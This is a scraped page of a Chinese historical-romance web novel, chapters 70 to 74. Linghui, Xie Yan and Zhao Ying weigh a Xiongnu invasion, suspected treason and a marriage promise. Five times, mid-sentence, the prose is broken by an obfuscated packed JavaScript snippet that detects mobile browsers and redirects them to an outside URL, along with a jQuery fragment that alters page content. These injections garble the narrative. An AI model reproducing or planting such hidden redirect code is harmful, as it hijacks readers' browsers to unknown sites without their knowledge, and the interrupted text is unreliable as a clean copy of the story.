他们的婚约,皇帝虽无明旨,但毕竟金口玉言,建康城又人尽皆知,谁能撇的干脆清楚呢? 但毕竟是那样的结局…… 她以为他会避着自己,永不再见面。毕竟对于他这样的世家公子,名声受损远比失去性命来得还要可怕。他的人生太过于平顺,遇到她,是为数不多的劫难。 有些事情开始的太荒唐,结局总会潦草不堪。他们的相逢便是如此。 “女君,”殷沣恭谨行礼,直说来意,“宛城有危,我今日随谢相一起前来,实为求助。还请女君救吾等,救南阳。” 灵徽不解:“匈奴大军虽来势汹汹,但都督早有布放,何须惊慌如此。” 殷沣看了眼灵徽身后,神色犹疑。灵徽了然,吩咐云阁和星台去备膳,只道:“二位远来辛苦,怕是还未用膳,不如也尝尝宜城之味,试试可否入口。” 云阁机敏,带着星台退下,于是堂上便只有三人。博山炉中沉香缭绕,落在衣间发上,灵徽端坐时颇端雅,浅浅笑着,只等对方开口。 殷沣与谢衍对视一眼,这次由谢衍开口:“灵徽……” 这个称呼一出口,他似乎又觉得唐突,随即便改了:“宜城君,若非事态紧急,实在不该来叨扰你。” 灵徽摇头,并不像他那样刻意规避着他们的过往,只道:“七郎如今为南阳国相,职责颇重,既然是为了国事,那自然说不上叨扰不叨扰的,何须如此客气。” 谢衍赧然,却又忍不住望向灵徽。 她仍如往昔,清冷大方,满面从容。不过比起在建康时,眉眼间总是隐隐透出忧愁,她在宜城过得应该不错,看着明媚了许多。 与她相比,始终无法释怀的那个人,从来都是他。 谢衍吸了口气,让自己摒弃那些私情纠缠,尽量舒展一些:“那我便直说了。匈奴此次派的是大将军张仲符,人马约有十万。” “刘棼义子,平定凉州的羌人张仲符?”灵徽眉心深蹙,那个人号称万夫不当之勇,便是之前从无败绩的慕容桢,在遇上他后,也吃了第一次败仗,回来后懊恼不已。 “不错,”殷沣接过了话,“既然女君也听过他,那便知道此人悍勇。刘棼此次并非寻常袭扰,几乎是倾举国之力,定要灭了大魏。” “如此……”灵徽点头,示意他们说下去。 “匈奴大军来势汹汹,一路南下到了鲁阳。那鲁阳原本兵力充足,守将孟晰也算身经百战,固守此处敌军也不会轻易攻破。可是就在三日前,他竟然不战而降,匈奴大军一路再无阻隔,怕是过不了几天就会到达宛城之下。”谢衍道 “不战而降?” “他是赵缨的心腹,赵缨一向信任他,才将这样重要的城池交给他守卫。”殷沣补充道。 灵徽听得出来殷沣的言下之意。 “叔父不妨明言,这里也没有外人。”灵徽语气很淡,并没有因为殷沣的暗示而心神大乱。 殷沣窥着她的脸色,试探着说道:“南阳之地太过重要,若被匈奴人所得,那荆州便危险万分。若荆州有失,匈奴人瞬间而下,恐怕建康也危在旦夕。” “赵都督身兼重任,为荆州之州牧,他自有筹谋,断不会允许荆州有失。”她说。 “可若是赵缨与匈奴人早有勾结呢?女君莫要忘了我之前给你说的事情。”殷沣有些焦急,语气算不得和善。 灵徽抬眼,看向谢衍,他似乎也知道了内情,点了点头:“我一向信任赵都督人品,并不认为他会如此做,可此事重大,不可不防。” “如何才能妨?若他真的与匈奴人勾结,别说南阳,他将荆州拱手送上,我等皆无能为力。”灵徽看着谢衍,平静地饮了口茶。 这是她心中的一根刺,搅扰了她太久,让她无法对赵缨交付信任,坦诚以待。可是人总不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13439559|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 听什么便是什么,赵缨说让他试探殷沣,她也觉得有些道理。 所以她必须理智,才能看清真相。 “女君手中尚有太尉印信,若能集结更多人马,尚有力一战。”殷沣的回答,早在灵徽的预料中。她知道,二人今日此来的目的,才不是为了告知她荆州危急这么简单。 于是,仍做懵懂,问道:“就算当然仍有部曲散落,一时之间,如何能抵挡匈奴十万之众?” 殷沣的目光在灵徽和谢衍之间逡巡,半晌后,才沉着声音道:“对抗匈奴自然不够,但若是解决赵缨,绰绰有余。” 他比了个“杀”的手势,目光中寒意森森。 谢衍皱眉,看了眼灵徽,只等她说话。 没想到灵徽却深以为然地点了头:“若他真有谋逆之举,自当人人得而诛之。可惜……”她说到这里停了下来,顿了顿,“若赵缨一死,荆州群龙无首,又当如何?若是生了乱,朝廷也不会放过我们。” 殷沣说不用担心:“有南阳王在,如何能乱。他素有贤良之名,女君与他合作,万无一失。” “这么说,诛杀赵缨也是南阳王的意思?”灵徽挑眉,问道。 殷沣似乎感觉到了自己言语有失,讷讷半晌,才笑道:“南阳王当然不知道,这都是我的一点愚见。我跟随太尉多年,辨忠识奸的本事还是有的。” 灵徽想了想,点头同意:“我当为荆州安危竭尽全力,二位放心。” 殷沣欣慰地点头,直说忠义之后就是不一样。可谢衍却皱眉,似有忧虑,看着灵徽仿佛想说什么,却碍于有人在侧,犹疑难言。 灵徽见此,只装无事。在二人用完膳食要离开时,才垂首作羞赧之状,低声对谢衍道:“七郎,许久不见,你连半封尺素也无,当真狠心。” 谢衍听她这样说,也猜到意图,但仍免不了血气激涌,烧得连耳根都红了,只低声责备:“殷司马尚在,不可如此……” 灵徽咬着唇,一双眼睛水光潋滟,脉脉生情。 殷沣见此,还有什么不懂的,一边哈哈笑着,一边很有眼色地先行离开:“我先在外等候,国相不着急,处理好私事再说。” 一面往出退,一面打量着二人痴缠情状,心中只叹杨家女郎多情,谢家郎君单纯,不由摇了摇头。 71. 七十一、调兵 “七郎似有疑虑?”灵徽低声问道。 谢衍点头,因她一如往昔的称呼,心神微微一荡,但也很快敛起了无关的情绪。荆州之局,迷雾重重,危险万分,容不得他们儿女情长。 “起初听到孟晰叛降的消息,我也确实怀疑过赵玄鉴与匈奴有所勾连。不过仔细想想,却说不通。”谢衍认真道。 灵徽只听他说,并未插话。 “赵玄鉴手中握有四州之兵,匈奴人能给他什么好处,除非裂土封王,否则并不值得。”谢衍缓缓说,“何况,如今之计怎么都该是先抵御外敌,他一口一个诛杀主帅,不是很奇怪么……” 数月不见,一个绝口不谈政事,只一心于圣贤之教的人,如今成熟了太多。思虑问题细致且稳妥,早非当年风流散漫模样。 灵徽听他如此说,不觉展颜而笑,认同道:“我方才有意试探,确实也觉得奇怪。依他的说法,我觉得此事与南阳王或许有关。” “南阳王那边有我盯着,若有异动,我会见机行事。”谢衍应道。 灵徽却摇头,忧虑道:“只盯着南阳王不够,我害怕宛城有危,更怕襄阳有危……” “那你还会召集旧部吗?”谢衍问。 灵徽眸光坚定,看着谢衍,一字一句:“会,不管是真是假,有人马在手,总是无虞。” 她皱眉思忖:“我目前知道的,我阿父去后,他的右将军裴述带兵流落在上庸,大约有一万人马。裴述不仅忠心耿耿,曾多次派人探访我的下落,知我被封了宜城君,还写信前来,邀我归附。” “裴将军大名我亦听过,他驻守上庸多年,城池稳固,治下安宁。无论是匈奴还是南夏都在争取他,可是他谁都不降,也不理会朝廷的征召。”谢衍道。 上庸处于汉水上游,益州、荆州和雍州交界之处,位置十分重要。 谢衍口中的南夏,由益州刺史皇甫承趁中原大乱,反叛朝廷而建立。大魏偏居一隅,自保尚无力,更别说出兵平叛。皇甫承借助益州之富饶,养精蓄锐,短短数年便占了宁州,成了一方割据之势,更有东进北上之心。 可惜,上庸是他始终无法攻破的城池。上庸不破,他只有龟缩在西南一隅。 匈奴亦多次出兵,但上庸地势险峻,易守难攻,所以也只有无功而返。刘棼只有不断派人前去招抚,给予高官厚禄相诱,但裴述丝毫不为所动。 至于朝廷……当年王家怂恿,朝廷见死不救,眼睁睁地看着城池陷落,并州之兵战死无数,他心里怎能不痛,怎能不恨。哪怕如今的皇帝,早非当年天子,但毕竟也是萧氏一脉。 “上庸之兵可顺汉江而下,一两日便可抵达襄阳。只可惜……”灵徽也有疑虑。 上庸不属于任何一国,若真出兵,恐怕阻碍重重。赵缨治下严谨,这么一支人马直奔襄阳而来,他不会不警觉。她用手摩挲着印信,愁容满面。 谢衍知道她忧愁的是什么,不过那是她和赵缨的事,他没有任何立场置喙。 “依你所言,当初印信在殷将军手中,为何他不能调动上庸人马?”谢衍转而望向灵徽手中的印信,疑惑不解。 她的眼眸亦落在印信之上,这是阿父留给她的,为数不多的东西。在这样的乱世,她不知道这到底是福还是祸。不过阿父既然给了她,她必要继承阿父之志,用自己微薄的力量,还天下一个安宁。 “我阿父有遗言,唯我与印信同在,方可调动他的部曲。并州军哪怕只有最后一人,也不可忘了保家卫国之志。”灵徽叹息,说起阿父,眼圈又红了。 “既然如此,必要让此物得其所,不可让忠义之人陷入困境。灵徽,依我所见,莫要擅动,先静观其变。”谢衍嘱咐。 她心中已经有了成算,无论如何,尽力而为。 “无论如何,你都要当心,只要用的上我,遣人来知会一声便好。”谢衍轻声道,话未说完,忽然,听到一阵脚步声沉沉靠近,绝不是云阁和星台。 灵徽本能惊慌,猜到是殷沣去而复返。 尚未作出反应,下一瞬,她便落入了一个檀香气的怀抱之中。然而对方的臂膀却矜持着礼数,不过虚虚的圈着,身体僵得厉害。 她仓皇抬头,见谢衍脸上写着一丝紧张与羞赧,便立刻明白了他的意思。 反手环抱住他,又看向殷沣,眸中有娇羞仍在,像是刚说完绵绵情话。 谢衍未回答,就听到身后之人低咳,笑道:“国相,车马等候已久,还请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13457647|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 速速离开,莫要横生枝节。” 谢衍依依看着灵徽,不知是贪恋此间温柔,还是做戏渐入佳境。他的声音温柔如水,亲昵之情溢于言表:“我先走了,你千万照顾好自己。” 说罢,匆忙将她放开,几乎是逃跑般的转身而去。 他的气息,沾在衣上,久久徘徊。灵徽望着他远去的身影,怅然一叹。她早就将名节看得极淡,可他显然不是,就怕这些逢场作戏的举动,让他心曲再次被缭乱,她着实承担不起。 转身时,却看到了云阁,她就站在不远处,看着自己的眼神有难掩的疑惑。可是她一直是个聪慧又稳重的女子,所以不会贸然又唐突地开口相问。 但这次,她却一反常态,没有继续装聋作哑:“方才若是让赵都督看到了,怕又该难受了。” 灵徽明知缘由,却还是免不了尴尬,顿时满面通红:“我与谢七,原本不是你想的那样。” 云阁摇头,神色谦卑:“是奴多言了,女君无需给奴解释。” “我何曾视你为奴为婢,云阁,你这样说,我很伤心。”灵徽上前,握住了云阁的手,缓声道,“你不用拿这样的话来搪塞我,我知道你对我这样三心二意很不满意,我也知道咱们是一起长大的情分,你更看重玄鉴阿兄。” “你们都觉得他待我好,我万死难报。可是云阁,感情不是报恩,我就算心中有他,他也得懂我。他什么都瞒着我,这便是对我好吗?” “都督有苦衷。他并无根基,靠着一刀一枪拼杀出了如今的地位,多少人虎视眈眈,他不可以不谨慎。就算他对女君有所保留,也只是害怕你担忧。这么多年,他做那件事不是为了女君着想。奴有时也在想,女君得都督如此相待,实在不该再对其他郎君……”云阁殷殷说,声音低沉颤抖。 “他能有如今,不也是借阿父之名望吗?这个世上谁也不能背叛我阿父,他也不可以。”灵徽说这句话时,自己都觉得自己残忍、冰冷的像个怪物。 不过是嘴硬,她想过一切可能,从不敢想象有朝一日他们会争锋相对。她盲目的希望,这次的准备,只是她一厢情愿的有备无患。 当务之急,她需要见他一面。他再生自己的气,也总不好一直避而不见。 72. 七十二、情动 来荆州这么久了,灵徽从未到过都督府,赵缨一向是个不重物欲的人,但都督府却仍可以称得上气派豪奢。 这“得益”于上一任荆州刺史虞翻。 虞翻权势最盛时,掌荆州和江右六州军事,当时皇帝带着北地世族刚到江南,立足未稳。庾氏仗着扶立之功,拥部曲十万,和琅琊王氏势如水火。 后来虞翻率众造反,顺江而下,被当时的丹杨太守韩子渊阻在建康城外,主力鏖战三日三夜,鲜血把江水染得红彻,才将来势汹汹的叛军打退。 当时那一战的主将正是赵缨,他也靠着军功,得到了擢升,一路扶摇而上,最终坐到了虞翻当年的位置上。 世事无常,从来都是这样荒诞的巧合。 她的名帖递进去还未一盏茶的功夫,就见结绿飞奔而出,到了她面前只是告罪:“女君提前让人知会一声就好,奴派人去接你。如今外面乱得很,若知道你亲自前来,都督定要责怪。” 说罢,又斥责门房:“宜城君来了,直接请进来就行,怎能让她在外枯等。” 门外守卫和老仆都未见过灵徽,自然不知她的身份。但都督府往来之人众多,从未有一人受过这般优待,管家态度如此殷勤,便知她特殊,急忙告罪。 灵徽从不为难下人,直说无妨,问结绿道:“都督不在府中?” 结绿一面请她入内,一面忧愁道:“出去了三日,一个时辰前刚回府,一回来便去了书房,连茶都不让送进去。” 灵徽抬头,只见天边落日如金,夕阳笼在青瓦白墙之上,绮丽炫目。但檐下却昏暗幽深,视物模糊,显然做好了入夜的准备。 走到书房外,屋中一片安静,尚未燃灯,守卫在门口的兵士见到他们,刚要行礼,却被灵徽阻止。 “准备夕食给都督,他喜欢饿着肚子赶路,定然没有用膳。”灵徽吩咐结绿道。 结绿乖觉,立刻就带着守卫一道离开,只留灵徽一人。 灵徽推门而入,室内却无声息。几束晕黄的光从窗中透进,铺陈在地板之上,又落在描金错银的博山炉上。炉中香气已冷,残留着几丝沉郁的味道,是他惯常喜欢的沉香之气。低垂的帘幕后光影幽暗,一个黑影伏在几案之上,发出轻微的鼾声。 大约是听到脚步声靠近,黑影立时警觉而起,手也按在了佩剑之上。但在看清楚对方后,又很快舒缓了下来,唇角牵起一抹慵懒的笑意。 灵徽轻轻帮他取下佩剑,放在一边的剑架上,然后坐在了他身边的莞席之上。赵缨顺势躺下,将头枕在灵徽的膝上,眼睛依旧闭着,声音带着几分沙哑:“你怎么来了?” 他浓密的睫毛下,是一片青黑的阴影,看着十分疲惫。 灵徽用指帮他按揉起太阳穴,缓缓道:“我也不想来啊,反正你也生了气,并不想见我。” 赵缨顺势抓住了她的手,睁开眼睛,望向她的眸光深情又婉转:“我哪里会生你的气,又哪里不想见你,不过事情太忙罢了。” 灵徽浅笑:“是啊,所以我自己来了啊。看看你有没有好好吃饭,有没有好好休息……” 赵缨也笑:“我若说没有,你又该怎么办?” 灵徽蹙眉,作思忖状,片刻后叹了口气:“我也不知道,你是大都督,我能拿你怎么办!” 赵缨的吻缠绵地落在灵徽的手上,一点一点地轻柔的触在她的指尖,声音沙哑又沉缓:“你怎么会拿我没办法,我从来都是听你的,你若说往东,我绝不往西。” 灵徽抽出自己的手,脸红的一塌糊涂:“当真么?我竟不知,你何时这样……无赖……” 她越说声音越低,最后只垂着头,懊恼地把玩着自己的衣带。 赵缨只觉气血涌动,心跳得半点章法也没有,身体也失去了控制。 他翻身将灵徽压在了身下,看着近在咫尺的娇美容颜,再也忍不住,俯身吻住了她。 灵徽一惊,身体立时有些僵硬,本能地想要推开。但是当她嗅到他身上的气息,感受到他的温存小心,看到他英气俊美的脸时……她慢慢放松了下来,试着去回应他的热切与渴望。 时间仿佛又回到了过去,他们从未有过分离。时间又似乎就在当下,他失而复得,欣喜难言。 灵徽听到赵缨叹息般的耳语:“圆月,待此战结束,我们成亲,好不好?” 她迷迷糊糊地点了回头,心中激荡着澎湃汹涌的感觉,如巨浪般拍打过来,让她严重不由涌出泪水。 正在此时,门扉轻叩声响起,结绿的声音传来:“都督,宛城急报。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13473359|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 短短几个字,便如寒风吹过,让此间气氛骤然冷却。赵缨慌乱地放开了灵徽,坐直了身体,唯有脸上久久未散的血气,暴露了他方才的冲动和狂乱。 灵徽的眼睛湿漉漉的,无措地看着赵缨,看着楚楚可怜。 赵缨帮她理了理凌乱的发,还是忍不住又在她额上落了一个吻:“回宜城好好待着,哪里都不要去。荆州如今形势复杂,连我都没有把握能应对。我知道你不想总让我护着,可是圆月,我若连你都护不住,一切有何意义。我绝不会再弄丢你了……” 灵徽的眼眸慢慢褪去迷乱,刹那明澈如水。 她静静地看着赵缨,就那样安静地看着。直到赵缨意识到,眼前这个女子无论在他面前表现的多么温柔娇媚,都不会愿意躲在他身后,依附他而活。她渴望他的坦诚,比他的溺爱更甚。 赵缨终于妥协,对门外的结绿道:“进来说。” 结绿进来时,身后带着一名将领打扮的男子,见灵徽在场,犹疑了半晌,才道:“回都督,张仲符大军已到宛城之下。南阳王听都督之令,坚守不出,但他让属下禀告都督,城中粮草只够三日,若援军不至,城池便守不住了。” 赵缨却不慌,只道:“回去告诉南阳王,让他不要轻举妄动,只需固守,一切等我将令。” 那将领仍不肯退,看着赵缨,像是一定要等他一句准话。 赵缨声音依旧冷淡:“张仲符勇猛无比,荆州将领无人可挡,若轻易出战,只会死路一条。我自有计谋,勿要多虑。宛城若有失,我与南阳王谁都无法交代。” 那将领见他有了怒意,急忙应了,匆匆而去。 “为何要死守宛城?”人走后,灵徽不解地问。 赵缨这次没有回避,回答简短却耐人寻味:“君命难违。” 君命难违……萧祁这样命令,又是为何。 “你真有把握相救?”灵徽又问。 “虽无万全把握,但只要萧庭能撑住,或许可以全歼匈奴之兵,而且还能救他。”赵缨又答。 灵徽表示不解。 “兔死狐悲,物伤其类。萧庭并非小人,更无不忠之意,但此次陛下并没有准备给他活路。”赵缨说完,长长叹息,好看的眉深深蹙起,显然心事重重。 73. 七十三、手书 灵徽用了很久才明白了赵缨话中的意思。 虽说萧家兄弟阋墙,内斗不休是传统,当年若不是先帝薨后,各路诸侯打得你死我活,也不至于让匈奴人在破了晋阳后如入无人之境,短短数月就占了洛阳。 但当今圣上携世族渡江,勉强在江南站稳脚跟,才过去了多久。 萧家皇族凋零,萧庭作为景帝一脉,已是硕果仅存,皇帝竟然连他都容不下吗?不过灵徽从殷沣口中听出了归附之意,也不知是南阳王却有不臣之心,还是这仅仅是殷沣的一厢情愿,又或者萧庭并不信任赵缨,也想从他手中夺荆州权柄。 权力让人疯狂,何况是这样煊赫的权力。 荆州乃形胜之地,兵多粮足,荆湘水道密布,顺流而下可控制江南多地。仿佛是一种魔咒,每一任荆州刺史都兼具野心和实力,最终都走上了反叛自立之路。 赵缨也是如此吗? 灵徽静静望着他。 岁月是最精巧的工匠,用锋利的刀雕琢着世间万物,刀刀都有变化,却刀刀都无痕迹。 “那阿兄准备如何做?”她问赵缨,想要从他的回答中,找到支撑自己信任的依据。哪怕顾虑重重,她仍是愿意相信他。他的忧愁,挣扎和烦乱都不像是作伪,她愿意相信他是夹杂在皇权斗争中左右为难,而不是被名利所惑失了本心。 他是赵缨啊,是她困境中唯一的念想,是她绝望时唯一的牵挂。 她该信他。人总要有孤注一掷的勇气,才不会因为当初的怯懦而悔恨不已。哪怕代价沉重,只要有一口气在,总是有机会重来。 赵缨将她拥在怀中,带着无限依恋:“张仲符虽然悍勇,但脾气焦躁。只要宛城多坚持一些时日,他必失去耐心,定会分兵去攻打附近的舞阳,湖阳等城,以断绝宛城粮草接济,成围困之势。到时我再出兵,各个击破,既能解困,也不算违背圣意。只是……” 灵徽听得认真,仔细思考着他的意思。 若是能分兵,荆州军占据天时地利,胜算自然更大一些。皇帝只是放弃了萧庭,但并不能怪罪赵缨履行都督之责,救助荆州其他城池。 “阿兄的顾虑是什么?”灵徽仰头,问道。 赵缨喜欢她明澈的眼眸,喜欢她这样看着自己。于是他谨慎斟酌着用词,像是怕吓到她般,轻声道:“襄阳易守难攻,本该固守。可是若我不亲自前去对战,便无人可胜张仲符。但我担忧后方不宁,若此时有叛乱,我必然会陷入困局,连退路都没有了。” 灵徽明白他的意思。那一刻血液忽然如沸腾了一般,热切又冲动,激昂又灼热,再也控制不住,她勉力让自己的声音听着平静,仿佛只是情话的延续:“若我说,我帮阿兄守襄阳,阿兄可信任我。” 赵缨愣了一下,努力地想要从她脸上找到玩笑的痕迹,但是她分明那样诚挚认真。 他一直都知道,圆月是个倔强有主见的女子,哪怕是最单纯不谙世事的年纪,也对自己认定的事情一往无前。 她拼命在长大,拼命想要证明自己。那他就不该和以前一样,只拿她当一个需要保护的存在。 “圆月想要如何做?”他问得也认真,然后轻轻地用手摩挲着她的发,耐心地等着她的回答。 灵徽却摇头,唇角带着莫测的笑意:“阿兄可以不问吗?总之,你若真能击退匈奴,如当年阿父一般安定山河,我便答应你……” “答应我什么?”赵缨心弦颤动,握住了灵徽的手,迫她看向自己,准备从她的眸光里找寻出让他安心的答案。 灵徽垂眸,狭促地躲着他目光的追寻。 “你自己说过的话,既然忘了,那我自然也不记得了。”她弯着唇角,小声嗫喏。 “圆月?”赵缨叹息一声,声音也低了下去,带着一丝惘然,“我太过冲动,方才所言……我尚不知自己能否好好回来,如何敢许诺你终身。武将之身,旦夕祸福,我……” 下一瞬,手上便传来一阵刺痛。这么多年,她还是那样,生气了便会咬人。而此时她更是气得眼圈都红了。 “赵缨,你以为我还会像当年一样,无依无靠地枯等在洛阳,最后只等来阿父身死的噩耗吗?此次你想好怎么做,全力以赴去做就是了,无需有顾虑。若你功成,我杨灵徽必遵守诺言,嫁你为妻。” “只是你再无后悔的机会了,既然敢出口求娶,就不能食言。我乃将门之女,容不得半点背叛和轻视。否则,碧落黄泉,我绝不放过你。” 她凶巴巴地看着赵缨,但是眼中却有泪水夺眶而出。 赵缨再也忍不住,将她紧紧抱住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13488741|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自己也红了眼圈:“既有此诺,必守一生。此战我定不负你的期待,让匈奴人再不敢踏足中原半步。” “比起建功立业,我更希望你平平安安的,不要学阿父,抛下我一个人。我不要一个人,我要阿兄陪着我……”灵徽将头埋在赵缨的胸口,呜呜咽咽地说。 方才还意气风发的女郎,此时又做如此小儿女情状,赵缨只觉柔肠萦损,心中哀苦更甚。 灵徽于第二日晨曦微露时离开了都督府,身上携走了赵缨的私印和三封手书。 赵缨的嘱托仍在耳边徘徊:“参军沈攸为人稳重周全,我若出兵,必会将荆州之事托付给他。不过他胆气不足,犹豫温吞,若真有变故,恐怕会因为思虑太多而贻误战机。你拿我手书,关键之时交给他,务必催他早做决断。” “另一封,若新野有变,你莫要担心,交给王十六,她看完后会知道怎么做。” “那第三封呢?” “荆州大战若起,恐南夏趁机袭扰,拿着第三封信去南郡,交给南郡太守谢岑。” “你是都督,用军令调兵不是更好吗?”灵徽狐疑。 “谢岑自诩为皇帝所派,并非由我任命,极易贪功冒进,我需趁机敲打敲打。”赵缨耐心回答。 他是持节都督,依理荆州人事皆为他任命,可南郡太守这般要职,皇帝自然有心选用亲信。萧祁为人心狭而猜忌,轻贤而偏私,着实算不上英主。 “你说了他便会听?”灵徽才不相信,那个谢岑是谢衍的叔父,素有狂妄之名,一向不将寒门放在眼中。 赵缨语带笑意,低低说:“谢元和不还在宛城么?”小国舅尚在前线,谢家谁敢轻举妄动。 灵徽了然,又想到那方印信,便问:“既然有手书,你给我私印做什么?” 赵缨眸色深深,笑容清浅:“荆州之境,总是忠心于我的人多,无论你遇到什么危险,以这枚私印,总会保你平安无虞。” “阿兄,你一定要亲自去吗?” “除了我,无人能阻张仲符。匈奴有屠城之习,丢失任何一城都会危及城中百姓性命,我不敢冒险一试。” …… 她的安危,自然会由自己负责,她只希望赵缨能平安。天意见怜,晋阳的事,此生只要经历一次便够了。 74. 七十四、错缘 灵徽回到宜城的第三日,便听到宛城将破的消息。似乎无形中有一种力量,在引导着荆州的流言,所以就连宜城都有些人心惶惶。 王令华急匆匆赶到府中时,灵徽午睡刚起。 院中的海棠开得正艳,一株株繁茂热闹得绽放在枝上,在午后炙热的阳光下显得葳蕤。有那么一两枝伸到廊下,远远望去,就像嵌在花窗之上般。 云阁先去奉茶,灵徽换了件衣裳才缓缓而至。 王令华显然失了耐心,着急的在屋中踱步,一见灵徽便捉住了她的手,殷殷道:“南阳危急,赵玄鉴却不肯出兵,他究竟意欲何为?” 灵徽安抚地拍了拍她,引她坐下,示意她喝茶:“我也听说敌军已至宛城,可宛城兵精粮足,城池坚固,只要防守得当,匈奴人未必可以讨得便宜。” 王令华哪里能喝得下去,听完灵徽的话,眼圈都红了:“匈奴此次派的,可是号称万人敌的张仲符。他率领十万大军而来,本就野心勃勃。此番鲁阳失守,大军长驱直入,宛城如何能坚持?” “如此,”灵徽顿了顿,“的确很危险。” “我原本敬仰赵玄鉴为人,只道他是个英雄。可他此番按兵不动,眼睁睁看着宛城围困多日,粮草不济,难道真如传言中所说,他与匈奴早有勾结?”王令华越说越激愤,手将几案叩得砰砰直响。 她本是个教养严苛的名门淑女,若不是气急了,本不会有这样失礼的举动。 灵徽从赵缨那里已经探知了事情的真相,所以并未好奇和激愤,但她也不能表现的过于平静,于是道:“怎会有如此传闻,那孟晰叛变,也出乎阿兄所料,他也十分震怒。不过现下匈奴来势汹汹,就算援兵前往,若是正面遭遇,只会无功而返,说不定会被全歼。所以十六娘,如今让南阳王先拖着,是最好的办法。” 王令华听她如此说,柳眉倒竖,脸色通红,叱道:“我原以为女君是赤诚之人,这才冒着危险而来,却不想如此喜欢说风凉话。你说得轻巧,但那张贼断了粮道,如今城中粮草根本无法支撑。只怕再过几日,就该饿死人了,到时候怎么守城,拿什么来战。” 灵徽被她说得面色通红,只能道:“阿兄这么做,必有道理,我又能做什么呢?” 王令华摇头,急切不已:“便是他做好了决定,只要你肯说,他也会考虑的。灵徽,算我求你,我绝不能看着他去死啊。” 她口中的那个人…… 这是第一次从她口中真真切切地提起南阳王,那个她名义上的姊夫。她如此不管不顾,只因为那个人深陷险地,有旦夕之危。 灵徽懂她,若是赵缨遇到了危险,她不一定会比王令华沉稳多少。 王令华见她神情松动,切切道:“我知道你一定会嘲笑我,好好的一个世家女,非要恋慕自己的姊夫,将自己置于这样尴尬的境地。可是这不由我决定的啊,当年我第一次在家中见到他,他的仪容风度就让我久久难以忘怀。他想要求娶一个王家女,但我阿父哪里能看得上一个落魄皇族,怎么可能让我嫁给他。所以勉强给了皇帝一个面子,找了半天才从我堂叔父家找了个适龄女儿嫁过去,那便是如今的南阳王妃,我的远房堂姊王令舒。” “可笑的是我堂姊那时本都已经定亲了,对方是个当地小族子弟,如今有了这般亲事,她阿父如何肯再履行旧约。当即就退了婚,从头至尾就没问过我阿姊的想法。”王令华说着旧事,眼圈慢慢变红,神色哀戚。 若不是今日的情势,她大概会将这些话都咽在肚子里,永远不说出口。 “我们这些人的婚事,从来都不由自己做主。对于家主和长辈而言,我们如同一件件物品,随时都会送出去,为家族交换利益。对于夫家也是如此,与其说取回来一个中意的妻子,不如说娶回一个可以炫耀的资本,一个可以装裱门楣的装饰。可是我不甘心啊,我不想过那样的日子。” 她的眼神看上去木木的,里面盛满悲伤。 灵徽叹息,心有戚戚。若是没有晋阳之事,她大概也会嫁给家族更看重的琅琊王家,而不是自小就守在她身边的寒门子弟赵缨。无论赵缨多么惊才绝艳,多么积极进取,他们都不会同意。 在那些人眼中,莫说庶民,便是那些落魄的贵族,大概都是不入流的。 乳母说,世庶之隔如天渊一般,想跳过去难如登天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13498604|134978||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,只会将自己摔得粉身碎骨。男子或有纳妾自由,可女子,只求自己在出嫁前不要动情,否则此生必定痛苦。 “可我见南阳王对王妃十分体贴……”大约他也是喜欢王妃的吧,王令华的爱若是一厢情愿,其实对她来说更好些。毕竟看着人家夫妻恩爱不疑,琴瑟和鸣,慢慢也就会死心了。 